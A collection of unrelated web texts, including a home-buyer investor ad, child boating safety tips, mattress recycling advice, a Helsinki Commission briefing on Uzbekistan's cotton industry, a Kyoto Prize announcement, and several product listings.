Real estate agents are paid based on a percentage of the sale price of your house. If you do not use an agent, there will be no commissions paid to a buyer's or seller's agent. That means thousands of dollars in savings! The usual commission is 3% per side, so if you sell your house for $400,000, you would have to pay $24,000 out of your proceeds in commissions alone, along with the traditional seller's closing fees and other possible transaction fees to the closing agent and the real estate agents office. Real estate investors typically do not charge commission or transaction fees, and if they do, it is extremely low in comparison.
Waiting Time Frame
Real estate agents have access to the multiple listing service, or MLS, which allows your property to be found in searches for certain features of a property. This may sound great, but how long will it sit on the market? How fast will you receive offers? Real estate investors and other direct house buyers typically have a network of other house buyers, so if your property doesn't fit their portfolio, then it may fit one of their colleagues' portfolios. Either way, this means very limited waiting time for an offer. Also, when you sell your house directly to house buyers, they will typically close faster than traditional buyers, and usually pay full in cash. Traditional house purchases usually require qualifications from banks, mortgage underwriting time, property inspection and the buyer may not end up qualifying in the end.
Inspections & Repairs
Professional house buyers will usually purchase houses as-is. As a seller, this means you do not have to worry about repairs before closing or any other additional expenses you were not planning on. There are some companies that do not require inspections which makes it a truly as-is transaction. When you use a real estate agent, the buyer's agent will almost always order an inspection of the property. If they find something wrong with the property structure, they may require you to fix it out of pocket before the property closes.
You Have Time
When you work with an investor instead of an agent to sell your house, you will likely have time after the closing to move out. When you work with an agent. You are normally expected to vacate the house on or before the day of closing since the property
When you sell to us, you don't have to worry about cleaning up after you move out or make any repairs. We buy your property as-is and will give you time to find your new house!
Want to learn more about why you should work with an investor instead of an agent to sell your house? Give us a call today at 757-699-1198 or send us a message to get your offer!


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Actor Liu
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0.30ct 14K or 18K White Gold Diamond Ring
Material: 14K or 18K Solid Gold
Sizes: 3 - 14 available
This ring is 100% customizable. Please inquire for any changes you would like to make with the request a custom order link under the image. You can request different metals, metal combinations, widths or sizes not shown. You may also contact us for any other design ideas you may have.
We also include free of charge engraving inside the band. Please contact us for more details.
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Boating Safety for Big Kids
This is a great age to include children in your on-the-water fun. Of course, teaching your children to stay safe onboard is a part of the process. Here are a few safety tips to help.
Top Safety Tips
- Always have your children wear a U.S. Coast Guard-approved personal flotation device (PFD) while on boats, around open bodies of water or participating in water sports. Here's some more information on how to choose the right PFD.
- Remember that things such as water wings, noodles and other swimming aids are fun toys for kids, but they should never be used in place of U.S. Coast Guard-approved PFDs.
- Explain some basic boat rules and have everyone follow them. Children need to understand and follow rules such as keeping their hands and feet inside the boat at all times and not running on a boat.
- Every child is different, so enroll children in swimming lessons when you feel they are ready.
- Teach children that swimming in open water is not the same as swimming in a pool: They need to be aware of uneven surfaces, river currents, ocean undertow and changing weather. Adult supervision is a must.


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Your mattress should last about ten years, according to chiropractors. If you buy your mattress from a home-furnishing store or mattress outlet they will usually take your discarded mattress and box spring, but there is no guarantee that they would not just ship it all off to a landfill. For anyone wanting to be environmentally friendly, mattress recycling in Oslo, MN poses a problem. Mattresses are the single greatest factor in pushing landfills to capacity, more than 63,000 mattresses are disposed of every year. Mattresses have chemical flame retardants, which are toxic not only to humans, but when dumped in a landfill, these chemicals can leach from the mattress and contaminate the environment through seepage into groundwater.
Unfortunately, there are only a few mattress recycling in Oslo, MN facilities in the U.S. mattress recycling in Oslo, MN. that break mattresses into their composite parts; a mattress recycling in Oslo, MN factory can reuse 90% of the mattress. DR3 Mattress Recycling program that was founded by the Vincent de Paul Society of Lane County, Oregon, receives and processes more than 500 used mattresses every day.
Conigliaro Industries, Framingham, Mass., (508) 872-9668
DR3 Mattress Recycling Facility, San Leandro, Calif. (510) 351-0520
MattCanada, Montréal, Québec (514) 648-7575
Bed Busters, San Francisco, CA.
Mattress disposal is an issue for those who are upgrading to a new mattress and want to be environmentally friendly when disposing of their perfectly good old mattress. So what are their options? There are plenty of folks in America that will go to bed tonight on the floor, so if your mattress is not soiled or has major damage, please check in your community for charities that will help you with your mattress disposal. Freecycle Network, http://www.freecycle.org and Craigslist, http://www.craigslist.org/about/sites allows people to post stuff to give away to anyone willing to come pick it up. Check your local Salvation Army and Earth 911 allows to enter your item you wish to recycle and the zip code to find a location nearest you.
At Sleep Experts they have a program with community partners, every old bed is recycled for a local charity.
In Houston you can pay to have your mattress hauled off. Mattress Recyclers of Houston take care of the problem and recycle your used mattresses to help keep the earth a cleaner place to live! They recycle an average of 99% of all mattress components for use in other items.
$30 For the first mattress [Any size mattress]
$15 For the second piece [Box spring or mattress]
$10 For each additional piece
Make sure you clean your mattress before donating it! Some states have a provision on mattress disposal and you may find that your old mattress is not accepted. I have provided you with plenty of green suggestions for mattress disposal, so please recycle your mattress. Mattress recycling will reduce our already overburden landfills and bring a Greener Tomorrow.


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During his brief run for the 2012 Republican presidential nomination, Herman Cain became well known for his 9-9-9 tax plan, the allegations of sexual harassment that threatened to drown out his message and his highly unusual videos.
Remember the one starring Cain campaign manager Mark Block that included him taking a long drag on a cigarette and blowing smoke straight at the camera?
Now, Cain's Sick of Stimulus campaign has put out a video that begins with a sweet little girl holding a rabbit. As she puts it in what looks to be a basket of straw, she says "this is small business under the current tax code."
And before you know it, the bunny is hurled into the sky and — fair warning, stop reading here if you are squeamish — appears to be blown out of the sky by a shotgun blast.
"Any questions?" asks the little girl.
As you'll see if you watch the video, no real rabbit was gunned down. It's obvious the "bunny" that flies into the sky is a digital rendering.
Cain's website says "no actual bunnies were harmed." The rabbit is fine, it adds, "but our current tax code is killing small business." (Reminder, don't press "play" if you think the video might be too graphic for your tastes.)
Copyright 2016 NPR. To see more, visit http://www.npr.org/.


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Ruote da Sogno, through its partnership with CA Auto Bank, can offer its customers a number of different finance solutions when buying a car or motorbike, whether it's a classic, Youngtimer or modern model.There are many benefits to auto finance.By taking advantage of the finance options offered by CA Auto Bank, you can defer your investment. In fact, classic cars and motorbikes undergo a revaluation over time, which can translate into monetary value.
Contact us to request the assistance of our experts on "1957 FIAT 1100 T".


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By Ronald J. McNamara, Policy Advisor
The Helsinki Commission convened a briefing on May 13, 2008, the third anniversary of the massacre at Andijon, to hear from experts on the challenges facing the 28 million people of Uzbekistan, including the widespread use of child labor in that country's lucrative cotton industry. Panelists addressing political, economic and human rights developments in the Central Asian nation were: Marsha Lisitsyna of Human Rights Watch, film maker and writer Shahida Tulaganova, Juliette Williams of the Environmental Justice Foundation, and Professor Eric McGlinchey of George Mason University.
For nearly two decades, Islam Karimov has ruled over Uzbekistan in a regime long-criticized for its harsh reprisals against dissidents, contempt for democratic principles and widespread corruption. Marsha Lisitsyna provided an overview of the findings of a newly released Human Rights Watch report, "Saving its Secrets" Government Repression in Andijan. She decried the fact that the Government of Uzbekistan has never accepted responsibility for its role in Andijon and has been unwilling to allow an independent investigation into the circumstances surrounding the uprising and massacre. Lisitsyna described the ongoing efforts of the Uzbek government to seek out and persecute anyone it deems to have a connection to or information about those events. While welcoming the regime's release of a number of human rights defenders, she stressed the fact that a dozen others languish in jail.
The report, based on interviews with witnesses to Andijon and relatives in 2007 and 2008, describes the pressures on those who fled the country as well as the reality for those who have returned to Uzbekistan. Lisitsyna told of retribution aimed at family members, including depriving relatives of social benefits, constant surveillance by the security services as well as the labeling of children of refugees as "children of enemies of the state" by teachers. Returnees are generally isolated, finding it difficult to secure work, and are pressured to entice others to return. In urging the international community not to forget Andijon, Lisitsyna concluded, "If the Government of Uzbekistan is able to demonstrate — would be able to demonstrate — considerable progress on human rights for sure, we wouldn't need the sanctions. But unfortunately, to date, this is still not the case."
Shahida Tulaganova echoed this point, urging the international community, including the European Union and the United States, to resist consigning Andijon to the history books while those associated with the tragedy continue to face repression. She reported that nearly 30 rights activists, independent journalists and opposition figures remain jailed and are subject to various forms of abuse. Tulaganova focused on severe limitations imposed by the government on freedom of expression, including tight control of the Internet and reprisals against independent journalists. In this regard, she recalled the murder of her colleague, Alisher Saipov, a prominent investigative journalist and editor of an Uzbek-language newspaper, Siyosat, gunned down outside of his office in Osh, Kyrgyzstan. Saipov was an outspoken critic of President Karimov, reporting regularly on rights abuses in Uzbekistan.
Tulaganova was critical of the European Union and the United States for not being more forceful in the aftermath of the 2007 flawed presidential elections perpetuating Karimov as president, a position he has held since 1990, making him the longest serving Soviet-era leader still in power. "The fact is that everyone is dealing with an illegitimate president and an illegitimate government," she said. The deteriorating economy under Karimov, an economist by training and expert on state planning, is exacerbated by widespread corruption, resulting in a flood of labor migrants working outside of the country. Tulaganova voiced particular concern over the hundreds of thousands of school children forced to work under harsh conditions in Uzbekistan's cotton fields.
Juliette Williams focused on the reliance on forced child labor in the cotton industry, reportedly generating a billion dollars annually. She detailed state control over every aspect of cotton production, from seasonal quotas imposed on farmers to daily quotas demanded of school-age children, some as young as seven years old. "Underpinning the entire industry is the systematical use of forced child labor and slave wages in order to maximize profits to the state, with little or no return for laborers or wider society," said Williams.
In addition to the human toll, Williams described the environmental degradation stemming from the country's cotton industry. She pointed to estimates that 60 percent of diverted water never even reaches the cotton fields, but is lost in the deteriorating Soviet-era irrigation network. Perhaps the most dramatic case involves the Aral Sea, once the world's fourth largest inland sea, that has been drained to just 15 percent of its former volume, largely due to mismanagement by the Soviets and their successors. Soil damage is another area of environmental concern. Based in the United Kingdom, Williams explained efforts to organize an international boycott of Uzbek cotton given the reliance on forced child labor. She concluded, "I appeal to the Helsinki Commission and to people here today to engage in a full examination of the human rights and environmental abuses connected to cotton production in Uzbekistan."
A poignant short documentary film, White Gold, the True Cost of Cotton [http://www.ejfoundation.org/page325.html], was shown during the briefing to provide a human face to child labor in Uzbekistan. Scenes of grounded derelict ships and caravans of camels crossing the now arid seabed that once supported fertile fishing grounds provide stark images of the cost to the environment.
Professor McGlinchey pointed to several changing dynamics that could affect bilateral relations between the United States and Uzbekistan: a lessening of the importance of the Karshi-Khanabad base to operations in Afghanistan, Karimov's concerns over his legacy, and volatility of international commodity markets. While each could provide an opening, he warned that they could also lead to retrenchment by the regime. The abrupt departure of that U.S. from the K2 base diminished Karimov's ability to portray himself as a serious partner in the war against terrorism, McGlinchey suggested. Given regime changes in Kyrgyzstan and Turkmenistan, he suggested that Karimov might seek to orchestrate his own succession, opening an opportunity for U.S. engagement with possible successors.
McGlinchey cited escalating food prices as another factor that could generate new pressures and popular demands, potentially further undermining the already fragile foundations of the government. He warned that a vulnerable Karimov regime may resort to even greater repression rather than reform and stressed the importance of U.S. monitoring of human rights as a lifeline to vulnerable activists. With respect to the crucial role of cotton in the Uzbek economy, McGlinchey suggested that it is an unsustainable industry in the region given the depleted water supplies. "Water is not, unfortunately, a renewable resource in Central Asia. The Aral Sea is almost tapped out, and now the glacier stores are going to be tapped out, and in the long run something else besides cotton has to be promoted," said McGlinchey.


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Audiology Services
Our passion is helping smart people like you in St. Johns and Charlotte, MI — people who want to stay active and engaged — rediscover hearing clearly and without strain. Our satisfaction comes from the joy our patients feel when they hear better and can once again connect with friends, family, and the world around them. Each person's hearing loss, listening needs and preferences are different. You can count on our professionals to take the time necessary to understand your concerns.
Hearing Testing
We'll evaluate your hearing to determine whether or not you have hearing loss, what the likely causes are, the degree and type of hearing loss and whether the loss exists in one or both ears.
If testing reveals that you do have hearing loss, we offer a wide range of solutions. It is important to remember that there is no such thing as "one size fits all."
Already have hearing aids but aren't hearing as well as you'd like?
Your hearing loss may have changed, or your hearing aids may simply need adjusting. Call us and make an appointment for a thorough hearing evaluation.
Hearing Aid Fitting
If hearing aids are the solution for you, we want you to get the maximum benefit from wearing them. Hearing aids work extremely well when they are fitted to your ears and adjusted for your hearing needs and preferences.
Our hearing professionals will check that your hearing aids are comfortable and program them. Then we'll check your hearing with the hearing aids in place. Today's hearing aids can be fine tuned to help you hear in a variety of environments, including restaurants, crowds and other difficult listening situations. Finally, we'll show you the advanced features of your new hearing aids and how to care for them.
Tinnitus Management
Tinnitus (tin-NY-tus) is a common condition where a person experiences a ringing, rushing or buzzing in the ears. Our professionals can help recommend a course of action to deal with this persistent problem.
A careful review of your health history along with audiometric testing will identify the right tinnitus treatment, whether it is hearing aids, maskers, drug therapy, or allergy treatment. Tinnitus therapy can quiet the noise in your ears and may be right for you.
Earwax Management
Many people are surprised to learn that a buildup of earwax can cause hearing problems. Sometimes the ear produces too much wax which can become impacted and press against the eardrum. This can impair the ability to hear. We can safely remove impacted earwax, something you should not attempt at home.


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Princeton ecologist Simon Levin has been named a recipient of the Kyoto Prize in honor of his contributions to environmental science.
The Inamori Foundation of Japan presents the annual awards in recognition of lifetime achievement in the categories of basic science, advanced technology and arts and philosophy. The award includes a cash prize of 50 million yen, or approximately $460,000.
Levin will receive the basic science award during a week of ceremonies beginning Nov. 10 in Kyoto. George Heilmeier, the inventor of liquid crystal display technology and a graduate alumnus of Princeton, will receive the Kyoto Prize in advanced technology.
"In proposing many methods of biological conservation and ecosystem management, Professor Levin has made fundamental contributions to environmental science," the foundation stated in a news release announcing the award.
Levin has been a leader in applying mathematical approaches to studies of ecosystems across a wide range of scales, from the behavior and genetics of individual organisms to the dynamics of large populations. He has collaborated with economists and environmental scientists to propose new methods for dealing with environmental problems.
"Among his primary concerns are the staggering losses in biodiversity worldwide that have resulted in the recent past from the mass production, consumption and waste disposal practices of human populations," the foundation noted.
Levin edited the landmark Encyclopedia of Biodiversity (2001), a 4,700-page, five-volume set that covers biodiversity in all its facets, from how it arose through evolution to how it relates to the modern economy. His many other publications include a 1999 book "Fragile Dominion," which illustrates how the loss of biodiversity has created direct threats to human survival, and a 1992 paper published in Ecology, "The Problem of Pattern and Scale in Ecology," which was the most cited article in the field during the 1990s.
Levin is the George Moffett Professor of Biology and a professor of ecology and environmental biology. He also is director of the University's Center for BioComplexity and former director of the Princeton Environmental Institute.
He has received numerous awards and honors, including the A.H. Heineken Prize for Environmental Sciences from the Royal Netherlands Academy of Arts and Sciences in 2004 and the Distinguished Landscape Ecologist Award from the U.S. Regional Association of the International Association for Landscape Ecology in 2003. He is a member of the National Academy of Sciences.
Levin joined the Princeton faculty in 1992 from Cornell University, where he had been a faculty member since 1965. He is a graduate of Johns Hopkins University and earned his Ph.D. from the University of Maryland.
Heilmeier, who earned his Ph.D. in electrical engineering from Princeton in 1962, was recognized by the Inamori Foundation for his groundbreaking research in the field of liquid crystals while working for RCA Laboratories. Liquid crystal displays are now found on hundreds of devices, including home theater systems, laptop computers, mobile phones, digital watches and home appliances.
Heilmeier is a former president and chief executive office of Bell Communications Research (now Telcordia Technologies) and currently serves as chairman emeritus of the company.
The Inamori Foundation was established in 1984 by Kazuo Inamori, founder and chairman emeritus of Kyocera Corp. The Kyoto Prize was founded in 1985 and has been awarded to scientists, engineers, researchers and artists from 12 nations. The third 2005 Kyoto Prize, honoring achievement in arts and philosophy, will be awarded to Austrian conductor and musician Nikolaus Harnoncourt.
More information is available on the Kyoto Prize Web site.


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I really want to keep my site advertising free - so, if you have found this information useful, please consider a small donation. Helping me to keep on helping you. Thank you
Would you love a kitchen garden but don't know where to start? Let my experience and expertise guide you to success? Soil testing, site analysis, fruit trees, fertilizing, non-toxic pest control, composting – this is my world – come and join me.
A one hour onsite consultation will often answer all your questions and help you on your way to the joy of year-round healthy food from your own garden.
Contact me at email@example.com


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Customized Case Design Custom Photo Phone Case - Upload Your Photo - Oppo A73
Skinlee is the only platform in pakistan, which gives so much options to the customers with exceptional quality and easy return and exchange policy.
Note: Please carefully select your phone model, case type and design, review it in your cart again before placing the order, so that you get the correct case for your device.
iPhone Samsung Xiaomi Oppo Vivo OnePlus Realme Infinix Tecno Google Nokia Huawei Motorola LG Sony Xperia
Actual colour of the product may vary slightly due to photographic lighting sources or your device.
Guaranteed Safe Checkout
Premium Glass Case
Premium Design
In this one-of-a-kind case, you'll find a beautiful design, an exquisite look,
and robust security all rolled into one.
Stunning Looks
This magnificent glass back case is the epitome of both stunning looks and
necessary protection. With this beautiful glass back cover placed, the phone
looks absolutely stunning while still providing the required protection.
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This Slim Fit Glass Case is designed with Hybrid Technology to provide Total
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360 Degree
This Slim & Sturdy Tempered Glass + TPU Bumper Case with a Hybrid structure
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good as new for a long time.
Scratch Resistant
Use of 9H Toughened Glass ensures that the case is protected from scratches and
grazes, also makes sure that it stays in tip-top shape.
Perfect Cut-Outs
Precision cutouts provide access to the power button, volume buttons, camera,
audio port, and other ports quick and easy.
Perfect Fit
Designed with absolute precision to give you best fitting experience.
- Protects your Phone from scratches, dirt and bumps
- Precise openings on the Case For, allowing access to all controls and features of the Phone
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Select Case Type |
Round Corner Glass Case, 4D TPU Shock Proof Case, Leather Flip Book |
Select Case Color |
Black, Transparent, Light Brown |


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Blue Satin Long A-Line Prom Dress, Elegant Short Sleeve Party Dress
Delivery Time = Processing Time (15-18 days) + Express Shipping Time (5-8 days)
Shipping: By DHL, UPS, FedEx, or some special airline.
(If you need this dress urgently, please Contact Us in advance and inform us of the date you need.)
The Blue Satin Long A-Line Prom Dress is an epitome of elegance. With its A-line silhouette and short sleeves, it offers both style and comfort. Crafted in rich blue satin, it's a timeless choice for any formal event or party. Make a sophisticated statement and enjoy the night in style.
Item Descriptions:
Product Code: Vi102
Silhouette: A-Line
Fabric: Satin
Length: Floor Length
Back Details: Lace-Up
Fully Lined: Yes
Built-In Bra: Yes
Shown Color: Blue
Custom Size:
For custom order, we need the following information in the order notes when you check out:
Shoulder to Shoulder: _____ inch/cm
Bust: _____ inch/cm
Waist: _____ inch/cm
Hips: _____ inch/cm
Hollow to Floor: _____ inch/cm
Height: _____ inch/cm
More Information:
Payment: We accept PayPal, Visa, MasterCard, Discover, and American Express.
How To Measure and Rush Order
FAQ and Refund Policy
Any questions about the item, please feel free to contact us via our email: firstname.lastname@example.com
Besides the picture color, we can make customized clothing for you based on the card colors you've chosen. when ordering, you can find a message box in the shopping cart, leave your custom color, we can see this information.
For more information, please contact our customer service.
Note: that the displayed color may vary with different displays or because of the lighting condition.
For shipping, we mainly use DHL, UPS, USPS, FedEx etc, that depends on the place you are in.
B. Delivery Time:
Normal orders are about 20-25 days
Delivery Time = Processing Time (around 15-18 days) + Express Shipping Time (around 5- 8 days)
For some styles with complicated structure, beading and hand work, it may take a few more days for processing.
If you need this dress urgently, please contact us in advance and inform us of the date you need.
C. Shipping Fee:
The shipping costs are automatically computed based on the price of the dress.
For order price: $1-79, shipping costs: $16.
For order price: $80-270, shipping costs: $33.
For order price: $271-400, shipping costs: $40.
For order price: $401-560, shipping costs: $48.
For orders over $600, shipping costs are $65.
If you still have any questions concerning our shipping information, please contact us:
Help: Contact Us
Email: firstname.lastname@example.com
If you are not satisfied with the order you received, we will gladly accept your timely return. Please contact our Customer Service to initiate the return process within 5 days upon receiving your item(s).
A. Contact Information
Customer service name: Anna Chang
Email: email@example.com
B. Return Process
Please follow our guide:
1. Please contact us within 5 days of receipt of the items and include your reason and photos for us to verify.
2. Please make sure all items must be returned in original condition (unworn, unwashed, unaltered, and undamaged) with the original tags attached.
3. Once your request is approved, please send the item to us within 5 days (Please fold the dress inside out).
4. When we receive the returned package, the item(s) will be inspected to ensure it is in the original condition and has the issues stated in the return request. We shall begin processing your refund upon confirmation.
C. Refunds
1. Once confirmed, refunds will be processed within 2 days after we receive your package. The refund will be issued to your original payment account.
2. The original shipping fee and insurance are non-refundable.
It usually takes 2-7 business days to process a refund. If you haven't received the refund within 7 working days, please check your bank account again. Then contact your bank or credit card company. If you've done all of this and you still have not received your refund, please contact us at email@example.com
Please note: We do not accept returns for try-order. If you just need one dress, please do not order more than one dress and return other dresses you do not like, this is not part of our return policy, thank you for your understanding!
D. Order Cancellations
1. We can cancel the order for you if you contact us in time after your purchase.If your payment finished and the parcel is not shipped out, you can cancel your order before your item's delivery. And we will refund full of your money.
2. Orders can't be canceled once the parcel is shipped out.
If you need to cancel your order, please contact us for help.
E. Other Notes of Our Return Policy
For Custom Order
Items in customized sizes, styles, or colors cannot be returned because they were tailored to you. Nevertheless, we shall discuss with you methods that may be helpful.
Color Mismatch
The settings of your computer screen may alter the color of the pictures shown on the site. Slight color aberration may not mean that the item is defective or mis-shipped. We have made every effort to match the true color to the screen color. Your understanding will be greatly appreciated. However, If you are confident that you have received a wrong color item (for example, you ordered red, but we sent you blue), please contact customer service E-mail: firstname.lastname@example.com and send photos of the dress for us to confirm the color. As long as we confirm the color is wrong, we will make the correct color dress for you for free or send you refund.
Thanks for reading.